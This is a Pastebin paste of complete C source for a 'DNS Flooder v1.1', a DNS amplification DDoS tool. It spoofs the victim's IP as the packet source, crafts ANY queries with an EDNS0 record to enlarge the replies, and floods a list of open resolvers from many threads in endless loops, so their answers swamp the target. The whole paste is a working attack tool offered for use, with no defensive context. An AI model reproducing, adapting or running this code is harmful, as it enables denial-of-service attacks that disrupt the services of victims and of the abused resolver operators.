Advertisement
TP2K1

dns.c

Jun 16th, 2015
1,075
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 13.38 KB | None | 0 0
  1. #include <time.h>
  2. #include <pthread.h>
  3. #include <unistd.h>
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <string.h>
  7. #include <sys/socket.h>
  8. #include <netinet/ip.h>
  9. #include <netinet/udp.h>
  10. #include <arpa/inet.h>
  11.  
  12. #define MAX_PACKET_SIZE 8192
  13. #define PHI 0x9e3779b9
  14. #define PACKETS_PER_RESOLVER 25
  15.  
  16. static uint32_t Q[4096], c = 362436;
  17.  
  18. struct list
  19. {
  20. struct sockaddr_in data;
  21. char domain[512];
  22. int line;
  23. struct list *next;
  24. struct list *prev;
  25. };
  26. struct list *head;
  27.  
  28. struct thread_data{
  29. int thread_id;
  30. struct list *list_node;
  31. struct sockaddr_in sin;
  32. int port;
  33. };
  34.  
  35. struct DNS_HEADER
  36. {
  37. unsigned short id; // identification number
  38.  
  39. unsigned char rd :1; // recursion desired
  40. unsigned char tc :1; // truncated message
  41. unsigned char aa :1; // authoritive answer
  42. unsigned char opcode :4; // purpose of message
  43. unsigned char qr :1; // query/response flag
  44.  
  45. unsigned char rcode :4; // response code
  46. unsigned char cd :1; // checking disabled
  47. unsigned char ad :1; // authenticated data
  48. unsigned char z :1; // its z! reserved
  49. unsigned char ra :1; // recursion available
  50.  
  51. unsigned short q_count; // number of question entries
  52. unsigned short ans_count; // number of answer entries
  53. unsigned short auth_count; // number of authority entries
  54. unsigned short add_count; // number of resource entries
  55. };
  56.  
  57. //Constant sized fields of query structure
  58. struct QUESTION
  59. {
  60. unsigned short qtype;
  61. unsigned short qclass;
  62. };
  63.  
  64. //Constant sized fields of the resource record structure
  65. struct QUERY
  66. {
  67. unsigned char *name;
  68. struct QUESTION *ques;
  69. };
  70.  
  71. void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
  72. {
  73. int lock = 0 , i;
  74. strcat((char*)host,".");
  75.  
  76. for(i = 0 ; i < strlen((char*)host) ; i++)
  77. {
  78. if(host[i]=='.')
  79. {
  80. *dns++ = i-lock;
  81. for(;lock<i;lock++)
  82. {
  83. *dns++=host[lock];
  84. }
  85. lock++; //or lock=i+1;
  86. }
  87. }
  88. *dns++='\0';
  89. }
  90.  
  91. void init_rand(uint32_t x)
  92. {
  93. int i;
  94.  
  95. Q[0] = x;
  96. Q[1] = x + PHI;
  97. Q[2] = x + PHI + PHI;
  98.  
  99. for (i = 3; i < 4096; i++)
  100. Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  101. }
  102.  
  103. uint32_t rand_cmwc(void)
  104. {
  105. uint64_t t, a = 18782LL;
  106. static uint32_t i = 4095;
  107. uint32_t x, r = 0xfffffffe;
  108. i = (i + 1) & 4095;
  109. t = a * Q[i] + c;
  110. c = (t >> 32);
  111. x = t + c;
  112. if (x < c) {
  113. x++;
  114. c++;
  115. }
  116. return (Q[i] = r - x);
  117. }
  118.  
  119. /* function for header checksums */
  120. unsigned short csum (unsigned short *buf, int nwords)
  121. {
  122. unsigned long sum;
  123. for (sum = 0; nwords > 0; nwords--)
  124. sum += *buf++;
  125. sum = (sum >> 16) + (sum & 0xffff);
  126. sum += (sum >> 16);
  127. return (unsigned short)(~sum);
  128. }
  129.  
  130. void setup_udp_header(struct udphdr *udph)
  131. {
  132.  
  133. }
  134.  
  135. void *flood(void *par1)
  136. {
  137. struct thread_data *td = (struct thread_data *)par1;
  138.  
  139. char strPacket[MAX_PACKET_SIZE];
  140. int iPayloadSize = 0;
  141.  
  142. struct sockaddr_in sin = td->sin;
  143. struct list *list_node = td->list_node;
  144. int iPort = td->port;
  145.  
  146. int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  147. if(s < 0)
  148. {
  149. fprintf(stderr, "Could not open raw socket. You need to be root!\n");
  150. exit(-1);
  151. }
  152.  
  153. //init random
  154. init_rand(time(NULL));
  155.  
  156. // Clear the data
  157. memset(strPacket, 0, MAX_PACKET_SIZE);
  158.  
  159. // Make the packet
  160. struct iphdr *iph = (struct iphdr *) &strPacket;
  161. iph->ihl = 5;
  162. iph->version = 4;
  163. iph->tos = 0;
  164. iph->tot_len = sizeof(struct iphdr) + 38;
  165. iph->id = htonl(54321);
  166. iph->frag_off = 0;
  167. iph->ttl = MAXTTL;
  168. iph->protocol = IPPROTO_UDP;
  169. iph->check = 0;
  170. iph->saddr = inet_addr("192.168.3.100");
  171.  
  172. iPayloadSize += sizeof(struct iphdr);
  173.  
  174.  
  175. struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
  176. udph->source = htons(iPort);
  177. udph->dest = htons(53);
  178. udph->check = 0;
  179.  
  180. iPayloadSize += sizeof(struct udphdr);
  181.  
  182. struct DNS_HEADER *dns = (struct DNS_HEADER *) &strPacket[iPayloadSize];
  183. dns->id = (unsigned short) htons(rand_cmwc());
  184. dns->qr = 0; //This is a query
  185. dns->opcode = 0; //This is a standard query
  186. dns->aa = 0; //Not Authoritative
  187. dns->tc = 0; //This message is not truncated
  188. dns->rd = 1; //Recursion Desired
  189. dns->ra = 0; //Recursion not available! hey we dont have it (lol)
  190. dns->z = 0;
  191. dns->ad = 0;
  192. dns->cd = 0;
  193. dns->rcode = 0;
  194. dns->q_count = htons(1); //we have only 1 question
  195. dns->ans_count = 0;
  196. dns->auth_count = 0;
  197. dns->add_count = htons(1);
  198.  
  199. iPayloadSize += sizeof(struct DNS_HEADER);
  200.  
  201. sin.sin_port = udph->source;
  202. iph->saddr = sin.sin_addr.s_addr;
  203. iph->daddr = list_node->data.sin_addr.s_addr;
  204. iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  205.  
  206.  
  207. char strDomain[512];
  208. int i;
  209. int j = 0;
  210. int iAdditionalSize = 0;
  211. while(1)
  212. {
  213. if(j==2){
  214. usleep(100);
  215. j=0;
  216. }
  217.  
  218.  
  219.  
  220. //set the next node
  221. list_node = list_node->next;
  222.  
  223. //Clear the old domain and question
  224. memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);
  225.  
  226. //add the chosen domain and question
  227. iAdditionalSize = 0;
  228.  
  229. unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];
  230.  
  231. strcpy(strDomain, list_node->domain);
  232. ChangetoDnsNameFormat(qname, strDomain);
  233. //printf("!!%s %d\n", list_node->domain, list_node->line);
  234.  
  235. iAdditionalSize += strlen(qname) + 1;
  236.  
  237. struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
  238. qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
  239. qinfo->qclass = htons(1);
  240.  
  241. iAdditionalSize += sizeof(struct QUESTION);
  242.  
  243. strPacket[iPayloadSize + iAdditionalSize] = 0x00;
  244. strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
  245. strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
  246. strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
  247. strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
  248. strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
  249. strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
  250. strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
  251. strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
  252. strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
  253. strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
  254. strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;
  255.  
  256. iAdditionalSize += 11;
  257.  
  258.  
  259. //set new node data
  260. iph->daddr = list_node->data.sin_addr.s_addr;
  261.  
  262. udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
  263. iph->tot_len = iPayloadSize + iAdditionalSize;
  264.  
  265. udph->source = htons(rand_cmwc() & 0xFFFF);
  266. iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);
  267.  
  268. //send
  269. for(i = 0; i < PACKETS_PER_RESOLVER; i++)
  270. {
  271. sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
  272. }
  273.  
  274. j++;
  275. }
  276. }
  277.  
  278. void ParseResolverLine(char *strLine, int iLine)
  279. {
  280. char caIP[32] = "";
  281. char caDNS[512] = "";
  282.  
  283. int i;
  284. char buffer[512] = "";
  285.  
  286. int moved = 0;
  287.  
  288. for(i = 0; i < strlen(strLine); i++)
  289. {
  290. if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
  291. {
  292. moved++;
  293. continue;
  294. }
  295.  
  296. if(moved == 0)
  297. {
  298. caIP[strlen(caIP)] = (char) strLine[i];
  299. }
  300. else if(moved == 1)
  301. {
  302. caDNS[strlen(caDNS)] = (char) strLine[i];
  303. }
  304. }
  305. //printf("Found resolver %s, domain %s!\n", caIP, caDNS);
  306.  
  307. if(head == NULL)
  308. {
  309. head = (struct list *)malloc(sizeof(struct list));
  310.  
  311. bzero(&head->data, sizeof(head->data));
  312.  
  313. head->data.sin_addr.s_addr=inet_addr(caIP);
  314. head->data.sin_port=htons(53);
  315. strcpy(head->domain, caDNS);
  316. head->line = iLine;
  317. head->next = head;
  318. head->prev = head;
  319. }
  320. else
  321. {
  322. struct list *new_node = (struct list *)malloc(sizeof(struct list));
  323.  
  324. memset(new_node, 0x00, sizeof(struct list));
  325.  
  326. new_node->data.sin_addr.s_addr=inet_addr(caIP);
  327. new_node->data.sin_port=htons(53);
  328. strcpy(new_node->domain, caDNS);
  329. new_node->prev = head;
  330. head->line = iLine;
  331. new_node->next = head->next;
  332. head->next = new_node;
  333. }
  334. }
  335.  
  336. int main(int argc, char *argv[ ])
  337. {
  338. if(argc < 4)
  339. {
  340. fprintf(stderr, "Invalid parameters!\n");
  341. fprintf(stderr, "DNS Flooder v1.1\nUsage: %s <target IP/hostname> <port to hit> <reflection file (format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
  342. fprintf(stderr, "Reflection File Format: <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
  343. exit(-1);
  344. }
  345.  
  346. // printf("1");
  347. head = NULL;
  348.  
  349. char *strLine = (char *) malloc(256);
  350. strLine = memset(strLine, 0x00, 256);
  351.  
  352. char strIP[32] = "";
  353. char strDomain[256] = "";
  354.  
  355. int iLine = 0; // 0 = ip, 1 = domain.
  356.  
  357. FILE *list_fd = fopen(argv[3], "r");
  358. while(fgets(strLine, 256, list_fd) != NULL)
  359. {
  360. ParseResolverLine(strLine, iLine);
  361. iLine++;
  362. }
  363. //printf("2");
  364.  
  365. int i = 0;
  366. int num_threads = atoi(argv[4]);
  367.  
  368. struct list *current = head->next;
  369. pthread_t thread[num_threads];
  370. struct sockaddr_in sin;
  371. sin.sin_family = AF_INET;
  372. sin.sin_port = htons(0);
  373. sin.sin_addr.s_addr = inet_addr(argv[1]);
  374. struct thread_data td[num_threads];
  375.  
  376. int iPort = atoi(argv[2]);
  377. //printf("3");
  378. // printf("Target: %s:%d\n", argv[1], iPort);
  379.  
  380. for(i = 0; i < num_threads; i++)
  381. {
  382. td[i].thread_id = i;
  383. td[i].sin= sin;
  384. td[i].list_node = current;
  385. td[i].port = iPort;
  386. pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  387. }
  388. //printf("4");
  389. // fprintf(stdout, "Starting Flood...\n");
  390.  
  391. if(argc > 4)
  392. {
  393. sleep(atoi(argv[5]));
  394. }
  395. else
  396. {
  397. while(1)
  398. {
  399. sleep(1);
  400. }
  401. }
  402. //printf("5");
  403. return 0;
  404. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement